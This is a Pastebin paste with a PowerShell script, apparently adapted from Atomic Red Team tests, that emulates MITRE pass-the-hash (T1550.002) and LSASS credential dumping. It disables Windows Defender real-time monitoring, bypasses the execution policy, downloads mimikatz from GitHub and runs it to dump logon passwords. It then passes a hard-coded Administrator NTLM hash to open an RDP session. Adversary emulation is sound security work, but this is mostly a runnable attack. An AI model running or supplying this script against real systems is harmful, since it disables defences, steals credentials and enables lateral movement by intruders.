jessemoore

Atomic-T1550.002

Aug 30th, 2020 (edited)
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #T1550.002 https://attack.mitre.org/techniques/T1550/002/  Use Alternate Authentication Material: Pass the Hash
  2. #based off Atomic Test #6 - Offline Credential Theft With Mimikatz T1003.001 - LSASS Memory
  3. #mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm} /run:"mstsc.exe /restrictedadmin"
  4. # Read more about: https://labs.portcullis.co.uk/blog/new-restricted-admin-feature-of-rdp-8-1-allows-pass-the-hash/
  5. Write-Host "MUST be on x64 archetecture" -fore red
  6. Write-Host "TARGET needs to ENABLE Restricted Admin mode" -fore red
  7. cd $env:TEMP
  8. Set-MpPreference -DisableRealtimeMonitoring $true
  9. Set-ExecutionPolicy Bypass -Force
  10. $url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20200816/mimikatz_trunk.zip"
  11. $output = "$env:TEMP\master.zip"
  12. $wc = New-Object System.Net.WebClient
  13. $wc.DownloadFile($url, $output)
  14. cd $env:TEMP
  15. Expand-Archive $env:TEMP\master.zip $env:TEMP\master -Force
  16. cd $env:TEMP\master\x64
  17. #copy .\mimikatz.exe #{mimikatz_exe}
  18. #copy .\mimikatz.exe C:\Users\jesse\Documents\GitHub\atomic-red-team\atomics\\T1003.001\bin\
  19. .\mimikatz.exe "privilege::debug" "log sekurlsa.log" "sekurlsa::logonpasswords" "exit"
  20. Write-Host "Find username and NTLM needed for Pass The Hash LateralMove" -fore green
  21. .\mimikatz.exe "privilege::debug" "log sekurlsa.log"
  22. sekurlsa::pth /user:"Administrator" /domain:"SCCM01" /ntlm:d4df3032a563207d79f7d409e808cd35 /run:"mstsc.exe /restrictedadmin"
Add Comment
Please, Sign In to add comment